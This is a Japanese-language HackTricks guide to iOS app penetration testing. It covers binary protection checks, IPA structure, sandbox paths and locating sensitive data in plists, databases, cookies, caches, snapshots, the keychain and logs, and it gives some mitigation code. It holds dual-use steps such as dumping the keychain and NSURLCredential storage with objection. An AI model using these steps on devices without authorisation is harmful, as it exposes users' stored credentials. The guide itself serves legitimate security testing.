.. | ||
basic-ios-testing-operations.md | ||
burp-configuration-for-ios.md | ||
extracting-entitlements-from-compiled-application.md | ||
frida-configuration-in-ios.md | ||
ios-app-extensions.md | ||
ios-basics.md | ||
ios-custom-uri-handlers-deeplinks-custom-schemes.md | ||
ios-hooking-with-objection.md | ||
ios-protocol-handlers.md | ||
ios-serialisation-and-encoding.md | ||
ios-testing-environment.md | ||
ios-uiactivity-sharing.md | ||
ios-uipasteboard.md | ||
ios-universal-links.md | ||
ios-webviews.md | ||
README.md |
iOS Pentesting
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
iOS Pentesting
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyをご覧ください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricks swagを手に入れましょう。
- 💬 Discordグループまたはテレグラムグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRをhacktricks repo とhacktricks-cloud repo に提出してください。
iOSの基礎
{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}
テスト環境
このページでは、iOSシミュレータ、エミュレータ、およびジェイルブレイクに関する情報を見つけることができます。
{% content-ref url="ios-testing-environment.md" %} ios-testing-environment.md {% endcontent-ref %}
初期分析
基本的なiOSテスト操作
テスト中には、いくつかの操作が提案されます(デバイスへの接続、ファイルの読み書き/アップロード/ダウンロード、一部のツールの使用など)。したがって、これらのアクションのいずれかを実行する方法がわからない場合は、ページを読み始めてください:
{% content-ref url="basic-ios-testing-operations.md" %} basic-ios-testing-operations.md {% endcontent-ref %}
{% hint style="info" %}
以下の手順では、アプリがデバイスにインストールされており、アプリのIPAファイルをすでに取得している必要があります。
これを行う方法については、Basic iOS Testing Operationsページを参照してください。
{% endhint %}
基本的な静的分析
IPAファイルに対して自動的な静的分析を実行するために、ツールMobSFを使用することをお勧めします。
バイナリに存在する保護の識別:
- PIE(Position Independent Executable):有効にすると、アプリケーションは起動するたびにランダムなメモリアドレスにロードされるため、初期メモリアドレスを予測するのが困難になります。
otool -hv <app-binary> | grep PIE # PIEフラグを含める必要があります
- スタックキャナリー:スタックの整合性を検証するために、関数を呼び出す前にスタックに「キャナリー」値が配置され、関数が終了すると再度検証されます。
otool -I -v <app-binary> | grep stack_chk # stack_chk_guardとstack_chk_failのシンボルを含める必要があります
- ARC(Automatic Reference Counting):一般的なメモリ破損の欠陥を防ぐため
otool -I -v <app-binary> | grep objc_release # _objc_releaseシンボルを含める必要があります
- 暗号化されたバイナリ:バイナリは暗号化されている必要があります
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # cryptidは1である必要があります
**感
基本的な動的解析
MobSFが実行する動的解析を確認してください。異なるビューをナビゲートし、それらと対話する必要がありますが、いくつかのクラスをフックして他の操作を行い、完了したらレポートを作成します。
インストールされたアプリのリスト表示
デバイスにインストールされているアプリを対象にする場合、まず分析したいアプリケーションの正しいバンドル識別子を特定する必要があります。frida-ps -Uai
を使用して、接続されたUSBデバイス(-U
)に現在インストールされている(-i
)すべてのアプリ(-a
)を取得できます。
$ frida-ps -Uai
PID Name Identifier
---- ------------------- -----------------------------------------
6847 Calendar com.apple.mobilecal
6815 Mail com.apple.mobilemail
- App Store com.apple.AppStore
- Apple Store com.apple.store.Jolly
- Calculator com.apple.calculator
- Camera com.apple.camera
- iGoat-Swift OWASP.iGoat-Swift
基本的な列挙とフック
アプリケーションのコンポーネントを列挙する方法と、簡単にメソッドとクラスをフックする方法を学びましょう。objectionを使用してください。
{% content-ref url="ios-hooking-with-objection.md" %} ios-hooking-with-objection.md {% endcontent-ref %}
IPAの構造
.ipa
ファイルは 圧縮されたパッケージ ですので、拡張子を .zip
に変更して解凍することができます。インストールする準備ができた 完全なパッケージ化された アプリは一般的に バンドル と呼ばれます。
解凍すると、<NAME>.app
という名前のファイルが表示され、その他のリソースが含まれた圧縮アーカイブが格納されています。
Info.plist
: アプリケーション固有の設定を含むファイルです。_CodeSignature/
: バンドル内のすべてのファイルに対する署名を含む plist ファイルが含まれています。Assets.car
: アイコンなどのアセットが含まれた別の圧縮アーカイブです。Frameworks/
: .dylib や .framework ファイルとしてのアプリのネイティブライブラリが含まれています。PlugIns/
: .appex ファイルとしてのアプリの拡張機能が含まれている場合があります(例では表示されません)。Core Data
: オフラインでアプリケーションの永続的なデータを保存し、一時的なデータをキャッシュし、アプリケーションの単一のデバイス上でアンドゥ機能を追加するために使用されます。単一の iCloud アカウント内の複数のデバイス間でデータを同期するために、Core Data はスキーマを自動的に CloudKit コンテナにミラーリングします。PkgInfo
:PkgInfo
ファイルは、アプリケーションまたはバンドルのタイプと作成者コードを指定する別の方法です。- en.lproj, fr.proj, Base.lproj: これらは、特定の言語のリソースを含む言語パックであり、言語がサポートされていない場合のデフォルトリソースも含まれています。
iOS アプリケーションで UI を定義するための複数の方法があります: storyboard, nib または xib ファイルです。
Info.plist
情報プロパティリストまたは Info.plist
は、iOS アプリの情報の主要なソースです。アプリの重要な設定情報を記述する キーと値のペア を含む構造化ファイルで構成されています。実際には、すべてのバンドルされた実行可能ファイル(アプリ拡張、フレームワーク、アプリ)には Info.plist
ファイルが必要 です。すべての可能なキーは Apple Developer Documentation で確認できます。
ファイルは XML またはバイナリ (bplist) の形式でフォーマットされている場合があります。次の単純なコマンドを使用して、XML 形式に変換できます。
- macOS の場合は、macOS 10.2 以降のバージョンにネイティブで付属しているツールである
plutil
を使用します(公式のオンラインドキュメントは現在利用できません):
$ plutil -convert xml1 Info.plist
- Linux の場合:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
以下は、Info.plist
ファイル内で簡単に検索できるいくつかの情報と対応するキーワードの非網羅的なリストです。ファイルを調査するか、grep -i <keyword> Info.plist
を使用してください。
- アプリの許可目的の文字列:
UsageDescription
- カスタム URL スキーム:
CFBundleURLTypes
- エクスポート/インポートされたカスタムドキュメントタイプ:
UTExportedTypeDeclarations
/UTImportedTypeDeclarations
- アプリトランスポートセキュリティ(ATS)の設定:
NSAppTransportSecurity
これらのポイントをテストする方法については、該当する章を参照してください。
データパス
iOS では、システムアプリケーションは /Applications
ディレクトリにあり、ユーザーがインストールした アプリは /private/var/containers/
の下にあります。ただし、ファイルシステムをナビゲートして適切なフォルダを見つけることは簡単なタスクではありません。なぜなら、すべてのアプリにはランダムな 128 ビット UUID(ユニバーサルユニーク識別子)が割り当てられ、ディレクトリ名に使用されるからです。
ユーザーがインストールしたアプリのインストールディレクトリ情報を簡単に取得するために、objection のコマンド env
を使用することもできます。これにより、アプリのすべてのディレクトリ情報が表示されます。
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
Name Path
----------------- -------------------------------------------------------------------------------------------
BundlePath /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
アプリには、2つの主要な場所があります:
- バンドルディレクトリ (
/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/
)。 - データディレクトリ (
/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/
)。
これらのフォルダには、アプリケーションのセキュリティ評価中に詳細に調査する必要がある情報が含まれています(たとえば、保存されたデータの機密情報を分析する場合など)。
バンドルディレクトリ:
- AppName.app
- これはIPAで以前に見たアプリケーションバンドルであり、必要なアプリケーションデータ、静的コンテンツ、およびアプリケーションのコンパイルされたバイナリを含んでいます。
- このディレクトリはユーザーには見えますが、ユーザーは書き込むことはできません。
- このディレクトリの内容はバックアップされません。
- このフォルダの内容は、コードの署名を検証するために使用されます。
データディレクトリ:
- Documents/
- ユーザーが生成したすべてのデータが含まれています。このデータの作成はアプリケーションのエンドユーザーによって開始されます。
- ユーザーに見え、ユーザーは書き込むことができます。
- このディレクトリの内容はバックアップされます。
- アプリは、
NSURLIsExcludedFromBackupKey
を設定することでパスを無効にすることができます。 - Library/
- ユーザー固有ではないファイル、つまりキャッシュ、設定、クッキー、およびプロパティリスト(plist)の設定ファイルなどが含まれています。
- iOSアプリは通常、
Application Support
とCaches
のサブディレクトリを使用しますが、アプリはカスタムのサブディレクトリを作成することもできます。 - Library/Caches/
- 一時的にキャッシュされたファイルが含まれています。
- ユーザーには見えず、ユーザーは書き込むことはできません。
- このディレクトリの内容はバックアップされません。
- アプリが実行されていないときやストレージ容量が不足しているときに、OSがこのディレクトリのファイルを自動的に削除する場合があります。
- Library/Application Support/
- アプリの実行に必要な永続的なファイルが含まれています。
- ユーザーには見えず、ユーザーは書き込むことはできません。
- このディレクトリの内容はバックアップされます。
- アプリは、
NSURLIsExcludedFromBackupKey
を設定することでパスを無効にすることができます。 - Library/Preferences/
- アプリケーションが再起動しても永続化されるプロパティの保存に使用されます。
- 情報は、[BUNDLE_ID].plistという名前のplistファイル内に、暗号化されていない状態でアプリケーションのサンドボックス内に保存されます。
NSUserDefaults
を使用して保存されたすべてのキー/値のペアは、このファイル内で見つけることができます。- tmp/
- アプリの起動間に永続化する必要のない一時ファイルを書き込むためにこのディレクトリを使用します。
- 非永続的なキャッシュファイルが含まれています。
- ユーザーには見えません。
- このディレクトリの内容はバックアップされません。
- アプリが実行されていないときやストレージ容量が不足しているときに、OSがこのディレクトリのファイルを自動的に削除する場合があります。
iGoat-Swiftのバンドルディレクトリ(/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
)内のアプリケーションバンドル(.app)ディレクトリを詳しく見てみましょう。
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
------------ ------- ------------------ ... --------------------------------------
Regular 420 None ... rutger.html
Regular 420 None ... mansi.html
Regular 420 None ... splash.html
Regular 420 None ... about.html
Regular 420 None ... LICENSE.txt
Regular 420 None ... Sentinel.txt
Regular 420 None ... README.txt
バイナリリバースエンジニアリング
<application-name>.app
フォルダの中には <application-name>
という名前のバイナリファイルがあります。これが実行されるファイルです。ツール otool
を使用してバイナリの基本的な検査を行うことができます。
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE
otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]
アプリが暗号化されているかどうかを確認する
次の出力があるかどうかを確認してください:
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
バイナリの逆アセンブル
テキストセクションを逆アセンブルします:
otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8 sub sp, sp, #0x60
0000000100004abc stp x29, x30, [sp, #0x50] ; Latency: 6
0000000100004ac0 add x29, sp, #0x50
0000000100004ac4 sub x8, x29, #0x10
0000000100004ac8 mov x9, #0x0
0000000100004acc adrp x10, 1098 ; 0x10044e000
0000000100004ad0 add x10, x10, #0x268
サンプルアプリケーションのObjective-Cセグメントを表示するには、次のコマンドを使用します:
otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa 0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache 0x0 __objc_empty_cache
vtable 0x0
data 0x1003de748
flags 0x80
instanceStart 8
よりコンパクトなObjective-Cコードを取得するためには、class-dumpを使用することができます。
class-dump some-app
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
#pragma mark Named Structures
struct CGPoint {
double _field1;
double _field2;
};
struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};
struct CGSize {
double _field1;
double _field2;
};
ただし、バイナリを逆アセンブルするための最良のオプションは、HopperとIDAです。
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
データの保存
iOSがデバイスにデータを保存する方法については、次のページを参照してください:
{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}
{% hint style="warning" %}
次の情報の保存場所は、アプリケーションのインストール直後、アプリケーションのすべての機能を確認した後、さらには1つのユーザーからログアウトして別のユーザーにログインした後にチェックする必要があります。
目標は、アプリケーション(パスワード、トークン)、現在のユーザー、以前にログインしたユーザーの保護されていない機密情報を見つけることです。
{% endhint %}
Plist
plistファイルは、キーと値のペアを含む構造化されたXMLファイルです。これは永続的なデータを保存する方法であり、したがって、これらのファイルに機密情報が含まれている場合があります。アプリをインストールした後や、アプリを集中的に使用した後にこれらのファイルをチェックして、新しいデータが書き込まれているかどうかを確認することが推奨されます。
plistファイルにデータを永続化する最も一般的な方法は、NSUserDefaultsの使用です。このplistファイルは、**Library/Preferences/<appBundleID>.plist
**にアプリのサンドボックス内に保存されます。
NSUserDefaults
クラスは、デフォルトのシステムとのプログラム的なインターフェースを提供します。デフォルトのシステムにより、アプリケーションはユーザーの設定に応じて動作をカスタマイズすることができます。NSUserDefaults
に保存されたデータは、アプリケーションバンドルで表示することができます。このクラスはデータをplistファイルに保存しますが、少量のデータと一緒に使用することを意図しています。
このデータは、信頼できるコンピュータから直接アクセスすることはできませんが、バックアップを実行することでアクセスすることができます。
NSUserDefaults
を使用して保存された情報をダンプするには、objectionのios nsuserdefaults get
を使用します。
アプリケーションが使用するすべてのplistを見つけるには、/private/var/mobile/Containers/Data/Application/{APPID}
にアクセスして次のコマンドを実行します:
find ./ -name "*.plist"
ファイルは**XMLまたはバイナリ(bplist)**形式でフォーマットされている可能性があります。次の単純なコマンドを使用して、XML形式に変換することができます:
- macOSでは、
plutil
を使用します。これはmacOS 10.2以降のバージョンにネイティブに付属しているツールです(公式のオンラインドキュメントは現在利用できません):
$ plutil -convert xml1 Info.plist
- Linuxでは:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
- objectionのセッションで:
ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist
Core Data
Core Data
は、アプリケーションのモデルレイヤーを管理するためのフレームワークです。Core Dataは永続ストアとしてSQLiteを使用することができますが、フレームワーク自体はデータベースではありません。
CoreDataはデフォルトではデータを暗号化しません。ただし、追加の暗号化レイヤーをCoreDataに追加することができます。詳細については、GitHubリポジトリを参照してください。
アプリケーションのSQLite Core Data情報は、パス/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support
にあります。
SQLiteを開いて機密情報にアクセスできる場合、設定ミスを見つけたことになります。
{% code title="iGoatからのコード" %}
-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
NSManagedObjectContext *context =[appDelegate managedObjectContext];
User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);
}else{
NSLog(@"data stored in core data");
}
}
{% endcode %}
YapDatabase
YapDatabaseはSQLiteの上に構築されたキー/値ストアです。
YapデータベースはSQLiteデータベースなので、前のセクションで提案されたコマンドを使用して見つけることができます。
その他のSQLiteデータベース
アプリケーションが独自のSQLiteデータベースを作成することは一般的です。それらには機密データが保存されており、暗号化されていない場合があります。そのため、常にアプリケーションディレクトリ内のすべてのデータベースをチェックすることは興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します(/private/var/mobile/Containers/Data/Application/{APPID}
)
find ./ -name "*.sqlite" -or -name "*.db"
Firebaseリアルタイムデータベース
アプリケーション開発者は、NoSQLクラウドホストデータベースとのデータの保存と同期にFirebaseリアルタイムデータベースを利用することができます。データはJSONとして保存され、接続されたすべてのクライアントにリアルタイムで同期され、アプリケーションがオフラインになっても利用可能です。
ミス構成されたFirebaseデータベースをチェックする方法はこちらで見つけることができます:
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} firebase-database.md {% endcontent-ref %}
Realmデータベース
Realm Objective-CとRealm SwiftはAppleによって提供されていませんが、それらは注目に値します。暗号化が有効になっていない限り、すべてのデータが暗号化されずに保存されます。
これらのデータベースは/private/var/mobile/Containers/Data/Application/{APPID}
に見つけることができます。
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm default.realm.lock default.realm.management/ default.realm.note|
$ find ./ -name "*.realm*"
このデータベースファイルを開くために、ツールRealm Studioを使用することができます。
以下の例は、Realmデータベースで暗号化を使用する方法を示しています:
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}
Couchbase Lite データベース
Couchbase Liteは、軽量で埋め込み型のドキュメント指向(NoSQL)データベースエンジンであり、同期が可能です。iOSおよびmacOS向けにネイティブにコンパイルされます。
/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
にある可能性のあるCouchbaseデータベースをチェックしてください。
クッキー
iOSはアプリのクッキーを各アプリのフォルダ内の**Library/Cookies/cookies.binarycookies
に保存します。ただし、開発者は時々、バックアップでアクセスできるという理由で、これらをキーチェーン**に保存することを選択することもあります。
クッキーファイルを調査するには、このPythonスクリプトを使用するか、objectionの**ios cookies get
**を使用します。
また、objectionを使用してこれらのファイルをJSON形式に変換し、データを調査することもできます。
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]
キャッシュ
デフォルトでは、NSURLSessionはHTTPリクエストとレスポンスをCache.dbデータベースに保存します。このデータベースには、トークン、ユーザー名、またはその他の機密情報がキャッシュされている場合、機密データが含まれている可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(/var/mobile/Containers/Data/Application/<UUID>
)を開き、/Library/Caches/<Bundle Identifier>
に移動します。WebKitキャッシュもCache.dbファイルに保存されています。Objectionは、sqlite connect Cache.db
コマンドを使用してデータベースを開いて操作することができます。これは通常のSQLiteデータベースです。
リクエストまたはレスポンスに機密情報が含まれている可能性があるため、このデータのキャッシュを無効にすることが推奨されています。以下のリストは、これを実現するためのさまざまな方法を示しています:
- ログアウト後にキャッシュされたレスポンスを削除することをお勧めします。これは、Appleが提供する
removeAllCachedResponses
というメソッドを使用して行うことができます。次のようにこのメソッドを呼び出すことができます:
URLCache.shared.removeAllCachedResponses()
このメソッドは、Cache.dbファイルからすべてのキャッシュされたリクエストとレスポンスを削除します。 2. クッキーの利点を使用する必要がない場合は、URLSessionの.ephemeral構成プロパティを使用することをお勧めします。これにより、クッキーとキャッシュの保存が無効になります。
ephemeralセッション構成オブジェクトは、デフォルトのセッション構成オブジェクト(defaultを参照)と似ていますが、対応するセッションオブジェクトはキャッシュ、資格情報ストア、またはディスク上のセッション関連データを保存しません。代わりに、セッション関連のデータはRAMに保存されます。ephemeralセッションがデータをディスクに書き込む唯一の場合は、URLの内容をファイルに書き込むように指示した場合です。
3. キャッシュは、キャッシュポリシーを.notAllowedに設定することで無効にすることもできます。これにより、キャッシュがメモリまたはディスクに保存されなくなります。
スナップショット
ホームボタンを押すたびに、iOSは現在の画面のスナップショットを撮影し、アプリケーションへの遷移をよりスムーズに行うために使用します。ただし、現在の画面に機密データが含まれている場合、それは画像に保存されます(これは再起動を超えて永続化されます)。これらのスナップショットは、ホーム画面をダブルタップしてアプリ間を切り替えることでアクセスすることもできます。
iPhoneがジェイルブレイクされていない限り、攻撃者はこれらのスクリーンショットを見るためには、デバイスにアクセスする必要があります。デフォルトでは、最後のスナップショットはアプリのサンドボックス内のLibrary/Caches/Snapshots/
またはLibrary/SplashBoard/Snapshots
フォルダに保存されます(信頼されたコンピュータはiOS 7.0以降ではファイルシステムにアクセスできません)。
この問題を防ぐための方法の一つは、スナップショットを撮る前に空白の画面を表示するか、機密データを削除することです。これはApplicationDidEnterBackground()
関数を使用して行うことができます。
以下は、デフォルトのスクリーンショットを設定するサンプルの修正方法です。
Swift:
private var backgroundImage: UIImageView?
func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}
func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}
Objective-C(オブジェクティブ-C):
@property (UIImageView *)backgroundImage;
- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}
- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}
この設定は、アプリケーションがバックグラウンドになるときに背景画像を「overlayImage.png」に設定します。現在のビューを常に上書きするため、「overlayImage.png」による機密データの漏洩を防ぎます。
キーチェーン
Keychain-Dumperのようなツールを使用してキーチェーンをダンプすることができます(デバイスはジェイルブレイクされている必要があります)。
また、Objectionのios keychain dump
も使用できます。
NSURLCredential
NSURLCredentialは、ユーザー名とパスワードをキーチェーンに保存するための完璧なクラスです。NSUserDefaultsやキーチェーンラッパーを使用する必要はありません。
ユーザーがログインしたら、彼のユーザー名とパスワードをキーチェーンに保存できます。
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
これらの秘密情報をダンプするために、Objectionのios nsurlcredentialstorage dump
を使用することができます。
カスタムキーボード/キーボードキャッシュ
iOS 8.0以降、AppleはカスタムキーボードなどのiOS用のカスタム拡張機能のインストールを許可しています。
インストールされたキーボードは、設定 > 一般 > キーボード > キーボードから管理できます。
カスタムキーボードは、キーストロークをスニフィングしてそれらを攻撃者のサーバーに送信することができます。ただし、ネットワーキング接続が必要なカスタムキーボードはユーザーに通知されます。
また、ユーザーは別の(より信頼性の高い)キーボードに切り替えて資格情報を入力することができます。
さらに、アプリケーションは、アプリ内でカスタムキーボードの使用を制限することができます(または少なくともアプリの重要な部分では制限できます)。
{% hint style="warning" %} ユーザーがそれらを必要としないと考える場合、サードパーティのキーボードを許可しないことをお勧めします。 {% endhint %}
オートコレクトとオートサジェストのため、デフォルトのiOSキーボードは、属性securetTextEntryがtrueに設定されていない場合、またはautoCorrectionTypeがUITextAutoCorrectionTypeNoに設定されていない場合、キャッシュファイルに各非標準単語をキャプチャして保存します。
デフォルトでは、キーボードはLibrary/Keyboard/{locale}-dynamic-text.dat
ファイルまたは/private/var/mobile/Library/Keyboard/dynamic-text.dat
にこのキャッシュを保存しますが、他の場所に保存されている可能性もあります。
キャッシュをリセットするには、設定 > 一般 > リセット > キーボード辞書をリセット に移動します。
{% hint style="info" %}
したがって、これらのファイルを常にチェックし、可能な機密情報を検索してください。
ネットワークトラフィックを傍受することは、カスタムキーボードがキーストロークをリモートサーバーに送信しているかどうかを確認する別の方法です。
{% endhint %}
キーボードキャッシュには、UITextInputTraitsプロトコルが使用されます。UITextField、UITextView、およびUISearchBarクラスは、このプロトコルを自動的にサポートし、次のプロパティを提供します。
var autocorrectionType: UITextAutocorrectionType
は、入力中にオートコレクションが有効かどうかを決定します。オートコレクションが有効な場合、テキストオブジェクトは未知の単語を追跡し、適切な置換を提案します。ユーザーが置換をオーバーライドしない限り、入力されたテキストを自動的に置換します。このプロパティのデフォルト値はUITextAutocorrectionTypeDefault
であり、ほとんどの入力方法ではオートコレクションが有効になります。var secureTextEntry: BOOL
は、UITextField
のテキストのコピーとテキストのキャッシュが無効になり、入力されているテキストが非表示になるかどうかを決定します。このプロパティのデフォルト値はNO
です。
コードでこの動作を特定するには:
- 類似の実装を持つソースコードを検索し、以下のようなものを探します。
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
- Xcodeの
Interface Builder
でxibとstoryboardファイルを開き、適切なオブジェクトのAttributes Inspector
でSecure Text Entry
とCorrection
の状態を確認します。
アプリケーションは、テキストフィールドに入力された機密情報のキャッシュを防止する必要があります。キャッシュを無効にするには、textObject.autocorrectionType = UITextAutocorrectionTypeNo
の指示を使用して、必要なUITextFields、UITextViews、およびUISearchBarsでプログラム的に無効にします。PINやパスワードなどのマスクする必要があるデータには、textObject.secureTextEntry
をYES
に設定します。
UITextField *textField = [ [ UITextField alloc ] initWithFrame: frame ];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
ログ
コードをデバッグする最も一般的な方法は、ログを使用することであり、アプリケーションはログ内に機密情報を表示する可能性があります。
iOSバージョン6以前では、ログはワールドリーダブルでした(悪意のあるアプリは他のアプリのログを読み取り、そこから機密情報を抽出することができました)。現在では、アプリは自分自身のログにのみアクセスできます。
ただし、アンロックされたデバイスに物理的なアクセス権限を持つ攻撃者は、それをコンピュータに接続し、ログを読み取ることができます(アプリによってディスクに書き込まれたログは、アプリがアンインストールされても削除されません)。
アプリのすべての画面をナビゲートし、すべてのUI要素と機能とやり取りし、すべてのテキストフィールドに入力テキストを提供し、機密情報が公開されていないかどうかを確認するためにログを確認することが推奨されます。
以下のキーワードを使用して、アプリのソースコードを事前定義およびカスタムのログステートメントをチェックします:
- 事前定義および組み込み関数:
- NSLog
- NSAssert
- NSCAssert
- fprintf
- カスタム関数:
- Logging
- Logfile
システムログのモニタリング
多くのアプリは、情報(および潜在的に機密性の高い)メッセージをコンソールログに記録します。ログにはクラッシュレポートやその他の有用な情報も含まれています。
次のツールを使用できます:
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To get the device logs
Xcodeのデバイスウィンドウを通じてコンソールログを収集する方法は次のとおりです:
- Xcodeを起動します。
- ホストコンピュータにデバイスを接続します。
- ウィンドウ -> デバイスとシミュレータを選択します。
- デバイスウィンドウの左側のセクションで接続されたiOSデバイスをクリックします。
- 問題を再現します。
- デバイスウィンドウの右上にあるコンソールを開くボタンをクリックして、別のウィンドウでコンソールログを表示します。
![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 